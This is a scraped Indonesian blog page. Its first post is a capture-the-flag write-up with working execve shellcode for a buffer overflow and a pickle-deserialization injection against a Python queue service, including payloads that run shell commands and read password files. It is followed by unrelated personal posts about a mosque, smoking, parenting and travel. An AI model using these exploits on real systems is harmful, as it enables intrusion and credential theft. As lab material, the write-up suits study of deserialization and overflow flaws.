Karena shellcode dan byte lain-lain panjangnya 1036 byte, dipakai untuk shellcode 35 byte, masih ada sisa 1001 byte lagi. 1001 byte ini hanya sebagai filler, boleh diisi oleh byte apa saja, asalkan bukan null byte (\x00) karena null byte adalah penanda akhir sebuah string. Jadi kini payload kita menjadi:

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x99"x1001 + "\x7b\x85\x04\x08"

Sekarang payload sudah siap, bisa langsung kita coba.

level04@ctf5:/tmp/tmp.NGRBxhqLuX$ whoami
level04
level04@ctf5:/tmp/tmp.NGRBxhqLuX$ /levels/level04 $(perl -e 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"."\x99" x 1001 . "\x7b\x85\x04\x08"')
$ whoami
level05
$ cat /home/level05/.password
fzfDGnSmd317

Level 05

Oke sekarang kita lanjut ke level 05. Berikut adalah petunjuk level 05.

Congratulations on making it to level 5! You're almost done!
 
The password for the next (and final) level is in /home/level06/.password.
 
As it turns out, level06 is running a public uppercasing service. You
 can POST data to it, and it'll uppercase the data for you:
 
  curl localhost:9020 -d 'hello friend'
  {
      "processing_time": 5.0067901611328125e-06,
      "queue_time": 0.41274619102478027,
      "result": "HELLO FRIEND"
  }
 
You can view the source for this service in /levels/level05. As you
can see, the service is structured as a queue server and a queue
worker.
 
Could it be that this seemingly innocuous service will be level06's
downfall?

Source code aplikasi ini adalah:

#!/usr/bin/env python
import logging
import json
import optparse
import os
import pickle
import random
import re
import string
import sys
import time
import traceback
import urllib
 
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
 
LOGGER_NAME = 'queue'
logger = logging.getLogger(LOGGER_NAME)
logger.addHandler(logging.StreamHandler(sys.stderr))
 
TMPDIR = '/tmp/level05'
 
 
class Job(object):
    QUEUE_JOBS = os.path.join(TMPDIR, 'jobs')
    QUEUE_RESULTS = os.path.join(TMPDIR, 'results')
 
    def __init__(self):
        self.id = self.generate_id()
        self.created = time.time()
        self.started = None
        self.completed = None
 
    def generate_id(self):
        return ''.join([random.choice(string.ascii_letters) for i in range(20)])
 
    def job_file(self):
        return os.path.join(self.QUEUE_JOBS, self.id)
 
    def result_file(self):
        return os.path.join(self.QUEUE_RESULTS, self.id)
 
    def start(self):
        self.started = time.time()
 
    def complete(self):
        self.completed = time.time()
 
 
class QueueUtils(object):
    @staticmethod
    def deserialize(serialized):
        logger.debug('Deserializing: %r' % serialized)
        parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
        match = parser.match(serialized)
        direction = match.group(1)
        data = match.group(2)
        job = pickle.loads(match.group(3))
        return direction, data, job
 
    @staticmethod
    def serialize(direction, data, job):
        serialized = """type: %s; data: %s; job: %s""" % (direction, data, pickle.dumps(job))
        logger.debug('Serialized to: %r' % serialized)
        return serialized
 
    @staticmethod
    def enqueue(type, data, job):
        logger.info('Writing out %s data for job id %s' % (type, job.id))
        if type == 'JOB':
            file = job.job_file()
        elif type == 'RESULT':
            file = job.result_file()
        else:
            raise ValueError('Invalid type %s' % type)
 
        serialized = QueueUtils.serialize(type, data, job)
        with open(file, 'w') as f:
            f.write(serialized)
            f.close()
 
 
class QueueServer(object):
    # Called in server
    def run_job(self, data, job):
        QueueUtils.enqueue('JOB', data, job)
        result = self.wait(job)
        if not result:
            result = (None, 'Job timed out', None)
        return result
 
    def wait(self, job):
        job_complete = False
        for i in range(10):
            if os.path.exists(job.result_file()):
                logger.debug('Results file %s found' % job.result_file())
                job_complete = True
                break
            else:
                logger.debug('Results file %s does not exist; sleeping' % job.result_file())
                time.sleep(0.2)
 
        if job_complete:
            f = open(job.result_file())
            result = f.read()
            os.unlink(job.result_file())
            return QueueUtils.deserialize(result)
        else:
            return None
 
 
class QueueWorker(object):
    def __init__(self):
        # ensure tmp directories exist
        if not os.path.exists(Job.QUEUE_JOBS):
            os.mkdir(Job.QUEUE_JOBS)
        if not os.path.exists(Job.QUEUE_RESULTS):
            os.mkdir(Job.QUEUE_RESULTS)
 
    def poll(self):
        while True:
            available_jobs = [os.path.join(Job.QUEUE_JOBS, job) for job in os.listdir(Job.QUEUE_JOBS)]
            for job_file in available_jobs:
                try:
                    self.process(job_file)
                except Exception, e:
                    logger.error('Error processing %s' % job_file)
                    traceback.print_exc()
                else:
                    logger.debug('Successfully processed %s' % job_file)
                finally:
                    os.unlink(job_file)
            if available_jobs:
                logger.info('Processed %d available jobs' % len(available_jobs))
            else:
                time.sleep(1)
 
    def process(self, job_file):
        serialized = open(job_file).read()
        type, data, job = QueueUtils.deserialize(serialized)
 
        job.start()
        result_data = self.perform(data)
        job.complete()
 
        QueueUtils.enqueue('RESULT', result_data, job)
 
    def perform(self, data):
        return data.upper()
 
 
class QueueHttpServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(404)
        self.send_header('Content-type','text/plain')
        self.end_headers()
 
        output = { 'result' : "Hello there! Try POSTing your payload. I'll be happy to capitalize it for you." }
        self.wfile.write(json.dumps(output))
        self.wfile.close()
 
    def do_POST(self):
        length = int(self.headers.getheader('content-length'))
        post_data = self.rfile.read(length)
        raw_data = urllib.unquote(post_data)
 
        queue = QueueServer()
        job = Job()
        type, data, job = queue.run_job(data=raw_data, job=job)
        if job:
            status = 200
            output = { 'result' : data, 'processing_time' : job.completed - job.started, 'queue_time' : time.time() - job.created }
        else:
            status = 504
            output = { 'result' : data }
 
        self.send_response(status)
        self.send_header('Content-type','text/plain')
        self.end_headers()
        self.wfile.write(json.dumps(output, sort_keys=True, indent=4))
        self.wfile.write('\n')
        self.wfile.close()
 
def run_server():
    try:
        server = HTTPServer(('127.0.0.1', 9020), QueueHttpServer)
        logger.info('Starting QueueServer')
        server.serve_forever()
    except KeyboardInterrupt:
        logger.info('^C received, shutting down server')
        server.socket.close()
 
def run_worker():
    worker = QueueWorker()
    worker.poll()
 
def main():
    parser = optparse.OptionParser("""%prog [options] type""")
    parser.add_option('-v', '--verbosity', help='Verbosity of debugging output.',
                      dest='verbosity', action='count', default=0)
    opts, args = parser.parse_args()
    if opts.verbosity == 1:
        logger.setLevel(logging.INFO)
    elif opts.verbosity >= 2:
        logger.setLevel(logging.DEBUG)
 
    if len(args) != 1:
        parser.print_help()
        return 1
 
    if args[0] == 'worker':
        run_worker()
    elif args[0] == 'server':
        run_server()
    else:
        raise ValueError('Invalid type %s' % args[0])
 
    return 0
 
if __name__ == '__main__':
    sys.exit(main())

Ini adalah aplikasi web yang dibuat dengan bahasa python. Aplikasi ini memakai module pickle yang diketahui dangerous bila tidak berhati-hati memakainya. Artikel sour pickle di blackhat-USA 2011 ini menjelaskan tentang eksploitasi pickle.

Problem utamanya adalah pada fungsi deserialize() di bawah ini:

1
2
3
4
5
6
7
8
    def deserialize(serialized):
        logger.debug('Deserializing: %r' % serialized)
        parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
        match = parser.match(serialized)
        direction = match.group(1)
        data = match.group(2)
        job = pickle.loads(match.group(3))
        return direction, data, job

Pada baris ke-7 ada pemanggilan fungsi pickle.loads() untuk mengubah string menjadi object (deserialize). Fungsi load ini bisa diexploitasi untuk mengeksekusi command shell bila string yang diload adalah string yang malicious.

Sebelumnya mari kita coba menjalankan aplikasi ini di system sendiri agar lebih leluasa melihat lognya. Dengan menjalankan command:

curl localhost:9020 -d 'testdata'

Berikut ini adalah log yang terlihat:

1
2
Deserializing: "type: JOB; data: testdata; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb."
TEST ini JOBnya lhooo--> "ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb." <--

Pada baris ke-2 adalah log yang saya tambahkan sendiri untuk melihat string yang akan di load oleh pickle. Input program ini ada 3 field: type, data dan job. Terlihat bahwa string yang diload oleh pickle adalah field job yang bukan berasal dari input user, sedangkan string yang diinput user (“testdata”) tidak ikut diload oleh pickle karena bukan bagian dari field job.

Ide serangannya adalah dengan menginjeksi malicious string yang bila diload oleh pickle akan mengeksekusi command. Contoh string yang malicious adalah:

cos
system
(S'cat /etc/passwd'
tR.

String di atas bila diload oleh pickle akan mengeksekusi command “cat /etc/passwd”.

Tapi masalahnya adalah string yang kita masukkan sebagai input tidak ikut diload oleh pickle karena input user masuk dalam field data, bukan field job. Bagaimanakah caranya agar input user dianggap sebagai bagian dari field job ?

Dari fungsi deserializae() terlihat ada regular expression yang memecah sebuah string menjadi 3 field: type, data dan job. Tiga field tersebut dipisahkan oleh karakter ‘;’. Bagaimana bila kita memasukkan input string yang mengandung karakter ‘;’ seperti ini:

curl localhost:9020 -d 'inidata; job: inijob'

Berikut adalah log yang terlihat:

Deserializing: "type: JOB; data: inidata; job: inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb."
TEST ini JOBnya lhooo--> "inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb." <--

Perhatikan bahwa sebagian dari string yang kita input kini menjadi bagian dari field job dan ikut diload oleh pickle. Ini karena regular expression mendeteksi adanya karakter ‘;’ dalam input string kita sehingga menganggap sebagai batas field dan memasukkan string ‘inijob’ menjadi bagian dari field job.

Oke kini kita sekarang sudah berhasil menginjeksi string ke dalam field job yang akan diload oleh pickle. Sekarang tinggal bagaimana menyusun payload yang valid untuk diinjeksikan ke dalam aplikasi. Dengan payload sederhana di bawah ini password level06 bisa didapatkan.

$ cat payload.pkl
cos
system
(S'cat /home/level06/.password > /tmp/levelsixx'
tR.
$ curl localhost:9020 -d "hajar; job: `cat payload.pkl`"
{
    "result": "Job timed out"
}
$ cat /tmp/levelsixx
SF2w8qU1QDj

Written by Rizki Wicaksono

February 28th, 2012 at 2:47 pm

Posted in Exploit

Sejenak di Masjid Al-Irsyad Kota Baru Parahyangan

without comments

Hari Jumat pekan lalu saya bersama teman pergi ke Puncak, Bogor, untuk suatu acara reuni SMA. Dari Bandung kawasan Puncak hanya bisa ditempuh lewat jalur lama, yaitu Padalarang terus Cianjur. Terus terang saya sudah lama tidak melewati jalur ini karena biasanya saya melalui jalan tol Cipularang (nama resminya tol Purbaleunyi) kalau hendak pergi ke Jakarta atau ke Bandara Soeta.

Karena hari sudah masuk waktu shalat Ashar, maka kami berhenti dulu untuk shalat Ashar di mesjid. Pilihan kami jatuh ke masjid Al-Irsyad di Kota Baru Parahyangan. Kota Baru ini letaknya di Padalarang (setelah mulut tol Padaleunyi). Kota Baru Parahyangan adalah kompleks perumahan yang sangat luas dan eksklusif. Harga rumah di sana kabarnya di atas 1 M. Meskipun saya sudah lama tinggal di Bandung namun saya belum pernah ke kompleks perumahan ini. Jadi, ini pertama kali saya ke sana.

Di dalam kompleks kota baru yang luas ini terdapat sebuah masjid besar yang bernama Masjid Al-Irsyad. Di sampingnya terdapat sekolah Islam internasional yang bernama sama. Dari jauh tidak kelihatan seperti masjid, karena bentuknya kubus seperti Ka’bah. Tidak ada kubah seperti masjid pada umumnya. Satu-satunya pertanda ia sebuah masjid adalah sebuah menara yang tinggi yang terletak di sebelahnya.

Masjid yang tanpa kubah ini mengingatkan saya pada Masjid Salman ITB, Masjid Istiqamah di Jalan Taman Citarum, Masjid Unisba di Jalan Tamansari, dan beberapa masjid lain di Bandung. Mungkin arsiteknya sama yaitu Pak Ahmad Nukman (CMIIW).

Papan nama Masjid Al-Irsyad:

Menara masjid yang tampak dari kejauhan sebagai pertanda itu sebuah masjid:

Ini foto masjid yang lebih jelas dari kejauhan yang saya ambil dari situs ini:

Ruangan di dalam masjid sangat lapang. Interiornya sangat bagus. Masjid ini tidak perlu lagi AC sebab dindingnya mempunyai banyak lubang udara sehingga udara bebas keluar masuk. Siang hari juga tidak perlu lampu sebab sinar matahari menerobos masuk melalui celah-celah lubang. Lubang-lubang angin itu jika diperhatikan dengan seksama membentuk tulisan kaligrafi kalimat syahadat.

Yang menarik adalah mihrabnya (tempat di bagian depan, tempat imam memimpin shalat). Di depan mihrab tidak ada dinding, namun pemandangan lepas ke luar sehingga cahaya matahari bisa masuk. Rasanya seperti shalat di alam terbuka saja. Kalau sore hari menjelang sunset tentu menjadi pemandangan yang bersahaja. Terasa sangat berkesan bila melakukan shalat maghrib di sana dengan diterangi cahaya matahari senja yang berwarna jingga masuk dari lorong di depan mihrab. Benar-benar desain masjid ini bersahabat dengan alam.

Di depan barisan shaf pertama terdapat sebuah kolam air dengan ikan yang berenang ke sana-sini. Oh iya, pemandangan di depan mihrab jika dilihat dari jauh membentuk lorong cahaya. Lorong cahaya ini seolah-olah menggambarkan perjalanan kita menuju suatu titik, yaitu Allah SWT.

Ini sebuah foto lain di dalam masjid:

Lorong masuk dari samping (dari tempat wudhu):

Ini beberapa gambar yang lebih jelas (saya ambil dari sini karena ponsel kamera saya terbatas dalam pengaturanb cahaya):

Kalau ingin membaca lebih jauh tentang arsitektur Masjid Al-Irsyad, silakan kunjungi situs ini.

Kapan-kapan saya ingin shalat lagi di masjid Al-Irsyad Kota Baru Parahyangan. Sungguh berkesan shalat di masjid ini.


Written by rinaldimunir

February 28th, 2012 at 6:57 am

Posted in Seputar Bandung

Melawan Rokok

without comments

Suatu ketika, saya sedang berada di sebuah angkot hendak menuju ke terminal bus. Tepat di sebelah saya duduk seorang laki-laki yang kurang lebih berusia 30 tahun. Dia sedang asyik merokok. Saat saya masuk, asap rokoknya langsung tepat menusuk hidung saya. Begitu duduk langsung saya lakukan gerakan-gerakan mengusir asap, yang saya tahu sebenarnya sia-sia saja karena asap hanya akan bergerak-gerak namun tetap masuk ke hidung, sebagai tanda perlawanan terhadap aktivitas merokok lelaki itu. Tiba-tiba dia bertanya dengan acuhnya, “Kenapa mbak?”, “Ngusir asap mas”, jawab saya. “Tau nggak mas, merokok di angkutan umum tuh dilarang, ada perdanya”, saya melanjutkan. “Lha, emangnya kenapa? Rokoknya kan saya beli sendiri, ngga minta uang mbak”, sahutnya lagi. “Lha iya bener sih mas. Gini aja, mas boleh ngerokok asalkan asapnya gak kena saya, bisa?”, balik saya bertanya. “Lah..gimana caranya mbak?” tanyanya sambil garuk-garuk kepala. “Ya gak tau, cari aja caranya sendiri mas”, jawab saya ketus.

Hehehe… dialog di atas hanya imajinasi saya belaka. Faktanya, begitu saya lakukan gerakan kibas-kibas tangan, selanjutnya si mas langsung buang rokoknya. Pikir saya, kenapa dibuang ya, kenapa gak dimatikan aja rokoknya trus setelah turun angkot dinyalakan lagi. Ah, mungkin si mas nya panik melihat apa yang saya lakukan. Whatever lah, yang penting tidak ada lagi asap rokok.

Saya tidak habis pikir dengan para perokok itu. Bukankah dg merokok artinya mereka memasukkan racun ke tubuhnya sendiri dengan sengaja? Perusahaan rokok memang pintar sekali membalikkan kondisi dengan memasang iklan rokok yang seolah-olah berhubungan dengan citra diri penggunanya, padahal iklan itu sungguh menipu, dan penipuan itu dosa, ya kan? Sungguh heran lagi, para perokok yang jelas-jelas kebanyakan bisa membaca dan pastinya sudah membaca berkali-kali peringatan akibat rokok yang ada di bungkus rokok masih saja terus membeli dan menghisap batang berisi cengkih dan tembakau yang asapnya saja mampu meracuni orang-orang di sekitarnya. Ah, apa lagi yang harus dilakukan untuk menjerakan mereka? Menurut saya, solusinya satu, harus ada kemauan dari pemerintah untuk menghilangkan budaya merokok dari warganya, kalau tidak dilakukan secara terstruktur maka tindakan-tindakan perlawanan yang ada akan lama dirasakan efeknya.

Wallahu’alam


Written by indahgita

February 27th, 2012 at 5:51 pm

Posted in Bebas

Panggilan Itu Adalah Doa

without comments

Waktu SMA dulu saya sering dipanggil “dotor” oleh teman-teman. “Dotor” dalam dialek Minang artinya “dokter”, sebab orang Minang sering memanggil dokter dengan sebutan pak dotor.Panggilan dotor itu mungkin karena penampilan saya yang memakai kacamata agak besar, badan kurus, rambut kurang tertata rapi, dan karena saya “jago” pelajaran kimia di sekolah, ha..ha..ha. Salah satu guru kimia saya (almarhum) adalah drop-out Fakultas Kedokteran. Penampilannya sama seperti saya juga, berkacamata dan kurus, sehingga saya diidentikkan dengan tipikal guru kimia itu. Hingga saya menjadi dosen di ITB teman-teman SMA tetap memangil “dotor” seperti itu. Penampilan saya di ITB dan di SMA tidak jauh berubah.

Ternyata dua puluh lima tahun kemudian saya memang menjadi “dotor” betulan, tetapi bukan dokter, melainkan “Doktor” atau “Dr”. Ini adalah gelar akademik setelah saya menyelesakan S3 beberapa tahun yang lalu. Alhamdulillah, ini semua karena semangat juang, pertolongan Allah, dan doa banyak orang.

Doa? Ya, saya menganggap panggilan teman-teman dengan gelar “dotor” itu bukan panggilan iseng, melainkan adalah doa dan pengharapan mereka agar kelak saya menjadi dotor betulan. Ternyata doa itu benar-benar dikabulkan oleh Tuhan. Seorang teman SMP saya dulu sering dipanggil “profesor” karena dia jago matematika, ternyata dikemudian hari dia memang menjadi profesor betulan di Universitas Negeri Padang. Sekarang saya tidak dipanggil “dotor” lagi oleh teman-teman, tetapi berganti dengan “prof”. Amiin (padahal untuk menjadi profesor di ITB sangat sulit dibandingkan dengan di PT lain, seleksinya luar biasa ketat).

Kalau anda memanggil orang lain sebutan atau gelar-gelar, percayalah panggilan itu kelak akan menjadi kenyataan. Apa yang anda panggil itu adalah harapan dalam bentuk lain kepada orang itu. Dia akan mempersonifikasikan dirinya seperti yang disebut dalam panggilan. Kalau panggilan itu sebutan yang baik tentu tidak masalah, akan diijabah oleh Allah SWT. Bagaimana dengan panggilan yang buruk seperti “penipu”, “pengicuh, “nakal”, “bandel”, “pemarah”, “maling”, “gila”, dan lain-lain. Saya rasa panggilan yang buruk akan berbekas pada diri seseorang, dia merasa tidak bisa keluar dari stereotip yang dilekatkan orang kepadanya. Dia sudah terlanjur dicap buruk seperti yang sebutan yang buruk itu, dia merasa gagal menjadi orang baik karena orang-orang yang mengenalnya tetap menyimpan memori yang buruk tentang dirinya. Kelak di kemudian hari dia memang menjadi seperti sebutan itu. Anak kecil yang dulu dipanggil “pencuri” karena dia suka mencuri barang teman-temannya, ketika sudah besar dia menjadi penjahat kambuhan yang keluar masuk penjara karena mencuri.

Oleh karrena itu, Al-Quran melarang kita memanggil orang lain dengan gelar yang buruk, sebagaimana disebutkan di dalam Surat Al-Hujuraat ayat 11:

Hai orang-orang yang beriman, janganlah suatu kaum mengolok-olokkan kaum yang lain (karena) boleh jadi mereka (yang diolok-olokkan) lebih baik dari mereka (yang mengolok-olokkan)dan jangan pula wanita-wanita (mengolok-olokkan) wanita lain (karena) boleh jadi wanita-wanita (yang diperolok-olokkan) lebih baik dari wanita (yang mengolok-olokkan) dan janganlah kamu mencela dirimu sendiri dan janganlah kamu panggil memanggil dengan gelar-gelar yang buruk. Seburuk-buruk panggilan ialah (panggilan) yang buruk sesudah iman dan barang siapa yang tidak bertaubat, maka mereka itulah orang-orang yang zalim. (QS. 49:11).

Jelaslah Allah melarang kita memanggil orang lain dengan gelar yang buruk, sebab gelar buruk itu akan terwujud di kemudian hari.

Bagi orangtua, sangat penting untuk tidak berucap kata yang buruk-buruk kepada anaknya. Apa yang diucapkan orangtua akan diijabah oleh Allah, karena doa orangtua kepada anaknya itu lebih makbul. Misalnya jika anak anda pemalas sehingga membuat anda sangat kesal maka janganlah sampai terlanjur anda mengucapkan “dasar pemalas” berulang-ulang kepadanya setiap kali anda marah dengan ulahnya. Kelak dia akan menjadi pemalas betulan di kemudian hari. Kalau anak anda pernah berdusta, janganlah anda terlanjur memanggilnya dengan sebutan “pembohong” berulang-ulang, kelak dia akan menjadi politisi yang suka berbohong kepada rakyat. Jika anak anda nakal, janganlah cap dia dengan sebutan “nakal”, karena nakal pada anak-anak itu hal yang biasa. Berhentilah mengucapkan kata yang buruk kepada anak, sebab Allah akan mengabulkan apa yang anda katakan, sebelum anda akan menyesal di kemudian hari.


Written by rinaldimunir

February 27th, 2012 at 7:16 am

Posted in Pendidikan

Pengen HP

without comments

HP adalah barang yang jarang banget saya update, kalau bisa dipake SMS dan telepon ya sudah. Sebab saya bukan orang yang mobile dan ada koneksi internet 24 jam melalui notebook. Tentu lebih nyaman mengetik sepuluh jari di notebook daripada pencetan HP yang kecil. Sebagian besar HP saya adalah ‘limpahan’ atau warisan, kecuali yang saya beli awal tahun 2009, Sony Ericson (tipenya lupa) seri Walkman warna merah marun. Awet sampai sekarang dan dipake abah huhu :(

Kemudian saya pakai HP nokia jadul yang juga limpahan, tetapi baterenya rusak, akhirnya saya beli seken Soner lagi seri Walkman, sebab yang saya perlukan tiga hal, SMS, telepon, dan memperdengarkan murotal (walkman). Tetapi rupanya saya kurang ‘berjodoh’ dengan hape seken ini, pencetan panahnya ke atas ke bawah ke samping error, susah ke atas ke bawah, yacchh resiko beli seken. Ini sangat mengganggu ternyata.

Dan kebutuhan akan fitur HP bertambah satu, SMS, telepon, murotal (walkman), dan menulis (notes). Enak kalau mengikuti kajian langsung terarsip di file, biasanya di buku catatan. Atau kalau akan memberi kajian tidak perlu membawa laptop atau ngeprint dulu, cukup file heheh. Dan fitur itu sudah ada di Samsung Galaxy yang untuk Notes itu, ada pen nya juga untuk nulis ga perlu ngetik. Waduh akankah menjadi kenyataan??? *pake matematika sedekah*

Written by ibudidin

February 26th, 2012 at 3:06 am

Posted in Langkah

Pilihlah Kelahiran Anak pada Tengah Tahun, he..he..

without comments

Anak saya yang bungsu tidak dapat diterima di sekolah dasar pilihannya pada tahun ini karena umurnya masih kurang. Anak saya lahir pada bulan Desember sehingga pada tahun ajaran baru (Juli 2012) umurnya baru 5,5 tahun. Padahal kebanyakan SD swasta yang bagus mensyaratkan batas umur minimal siswa baru kelas 1 adalah 5 tahun 10 bulan (kalau masuk SD negeri syaratnya lebih tinggi lagi, diutamakan umur tujuh tahun, umur enam tahun belum bisa diterima). Ini berarti anak saya harus menambah TK satu tahun lagi agar bisa diterima masuk SD pada tahun depan. Jika dihitung Playgroup satu tahun, TK dua tahun (kelas nol kecil dan kelas nol besar) plus satu tahun lagi, maka anak saya menjalani pendidikan prasekolah selama empat tahun.

Alasan pihak sekolah bisa saya pahami. Anak seumur segitu (dibawah 5 tahun 10 bulan) dikhawatirkan belum “matang”, belum siap sekolah. Okelah sang anak sudah lancar membaca, menulis, dan berhitung, tetapi jika belum “matang” maka akan timbul persoalan di kemudian hari. Selama di kelas 1 dan 2 pelajarannya relatif mudah, namun kata Bu Guru — yang sudah berpengalaman menerima murid belum matang– persoalan akan muncul di kelas 3 dan selanjutnya. Si anak mulai terlihat bermasalah, tidak mau diatur, tidak mau mengerjakan PR, malas, cepat bosan, dan perilaku negatif lainnya.

Kata psikolog yang saya kunjungi, anak yang belum matang masuk SD — tetapi dipaksakan juga masuk SD — sebenarnya belum puas masa bermainnya, sehingga bisa timbul masalah ketika dia sudah bersekolah. Sekolah di TK dan di SD berbeda. Di SD sudah ada konsekuensi jika siswa tidak mengikuti aturan sekolah, sudah ada nilai terhadap pelajaran yang diberikan, sudah ada ujian, sudah ada PR yang harus dikerjakan, sudah ada hukuman jika tidak megerjakan tugas, dan sebagainya. Di SD anak tidak bisa bermain sekehendak hatinya lagi seperti di TK. Sebaliknya di TK tidak ada konsekuensi terhadap materi yang diberikan (reward and punnishment). Masa di Taman Kanak-kanak adalah masa-masa bermain yang menyenangkan. Anak-anak yang belum puas masa bermainnya dan langsung masuk SD (atas keinginan orangtua atau keinginan anak itu sendiri), maka biasanya timbul persoalan jika dia sudah mulai besar nanti.

Memang tidak semua anak yang belum cukup umur masuk SD akan bermasalah ketika sudah bersekolah, ada juga beberapa anak yang masih kecil usianya dapat melewati fase tersebut dengan baik. Beberapa anak yang masih kecil dapat dengan mudah beradaptasi dengan lingkungannya yang lebih besar. Namun kata psikolog dan guru-guru SD yang sudah makan asam garam mendidik anak, kebanyakan anak yang belum matang cenderung bermasalah di kemudian hari. Itulah yang sering terjadi.

Mahasiswa-mahasiswa saya di ITB banyak yang berusia masih sangat muda ketika dia menjadi mahaisswa baru. Ada yang umurnya 16 tahun atau 17 tahun sudah menjadi mahasiswa, bahkan pada angkatan 2011 kemarin ada yang masih 14 tahun! Mereka yang masih muda-muda ini masuk SD pada waktu masih kecil, rata-rata umur 5 tahun, lalu ketika di SD hingga SMA menjalani program akselerasi atau loncat kelas sehingga SD hanya perlu 5 tahun, SMP 2 tahun, dan SMA 2 tahun. Pantaslah mereka mash muda-muda ketika menjadi mahasiswa. Rata-rata mereka itu mahasiswa yang otaknya cerdas. Umur masih muda, pintar lagi.

Kalau saya amati, mahasiswa yang masih muda-muda itu ada yang yang terlihat belum dewasa dan matang dalam berpikir. Terhadap lawan jenis (terutama jika yang masih muda itu mahasiswa laki-laki) mereka masih diperlakukan seperti anak kecil. Sifat kekanak-kanakan mereka kadang masih terlihat, padahal mereka bergaul dengan mahasiswa yang seharusnya menjadi kakak kelas mereka. Tapi itulah resiko yang harus dhadapi dari pilihan usia dini bersekolah.

Orangtua teman anak saya pernah bercerita tentang keponakannya yang dulu masuk SD pada usia dini. Sekarang keponakannya itu sudah berusia di atas kepala dua, tetapi secara tingkah laku dan emosi terlihat belum dewasa. Memang ini hanya satu kasus yang tidak bisa dgeneralisir, namun sebagai orangtua kita perlu juga berkaca pada kasus yang sudah-sudah sebagai bahan evaluasi.

Pada prinsipnya kita sebagai orangtau jangan memaksakan kehendak. Jika anak belum matang untuk masuk SD ya jangan dipaksa. Puaskan dulu masa bermainnya agar dia siap menjalani kehidupan yang lebih serius ketika masuk SD. Saya juga begitu, tidak memaksakan anak saya masuk SD karena saya merasa masa bermainnya belum terpuaskan dan saya nilai anak saya belum matang masuk SD. Biarlah telat setengah tahun masuk SD daripada nanti timbul masalah yang merugikan masa depan anak itu sendiri. Dia yang menjalani hidupnya sendiri kelak, bukan kita orangtuanya.

Secara bercanda saya pernah berpikir, kalau boleh memilih maka aturlah program mempunyai anak sehingga lahirnya di pertengahan tahun, agar nanti masuk SD pas umur 6 tahun lebih, he..he. Tetapi itu hanya joke, siapa pula yang bisa memilih bulan dan hari. Tuhan sudah menentukan hidup setiap manusia, kita tidak bisa memilih lagi.


Written by rinaldimunir

February 24th, 2012 at 9:16 am

Posted in Pendidikan

Jalan-Jalan ke Cipanas (Garut) dan Kawah Kamojang

without comments

Hari Sabtu dan Minggu yang lalu dosen-dosen STEI-ITB mengadakan rapat kerja di Cipanas, Garut. Sungguh, Kabupaten Garut mempunyai alam yang sangat indah. Selama perjalanan dari Bandung ke Cipanas kami disuguhi pemandangan bentang alam yang menawan. Benar kata penyair Taufik Ismail, Tuhan menciptakan alam Parahyangan ini ketika sedang tersenyum.

Di Cipanas Garut ini ada sumber air panas yang berada di lereng Gunung Guntur. Sebagai daerah wisata, banyak hotel tersedia di sini. Bahkan rumah-rumah penduduk pun disulap menjadi wisma atau hotel melati. Setiap rumah mengalirkan air panas dari sumber mata air di lereng gunung, sebagian ada juga yang mengebor mata air panas dari dalam tanah.

Kami menginap di hotel di Cipanas yang mempunyai sumber air panas sendiri. Air panas di hotel ini mengandung belerang yang baik untuk kesehatan kulit.

Banyak pengunjung yang datang ke hotel ini bukan untuk menginap, tetapi berenang dan berendam di kolam air panas. Panasnya…aduh… panas sekali, mula-mula saya tidak kuat merendam kaki di kolam tersebut, tetapi lama-kelamaan biasa saja dan terasa enak.

Berendam di dalam kolam air panas

Setelah satu hari beraker ria, besoknya kami jalan-jalan ke Kawah Kamojang. Sebagian dosen sudah pulang, jadi yang jalan-jalan ke kawah Kamojang ini tidak banyak. Saya sudah 25 tahun tinggal di Jawa Barat, tetapi jarang mengunjungi obyek-obyek wisatanya. Ke Kawah Kamojang juga baru pertama kali. Kawah Kamojang terletak di selatan Cipanas, tepatnya di daerah Samarang (bukan Semarang lho). Jalan menuju Kamojang lebarnya sempit sehingga bila dua mobil yang berpapasan maka salah satunya harus bertoleransi dan mengalah untuk mendahulukan mobil lainnya. Kami naik bus besar, jadi terbayang kan sempitnya jalan tidak sebanding dengan lebar bus.

Perjalanan menuju Kamojang mendaki pengunungan. Jurang menganga lebar di pinggir jalan. Jika tidak hati-hati mengendarai, wah… tamatlah sudah. Bentang alam yang saya lihat luar biasa, perpaduan lembah, jurang an bukit. Tempat ini cocok untuk olahraga paralayang kayaknya. Sayang saya tidak sempat memotretnya karena bus tidak berhenti di jalan.

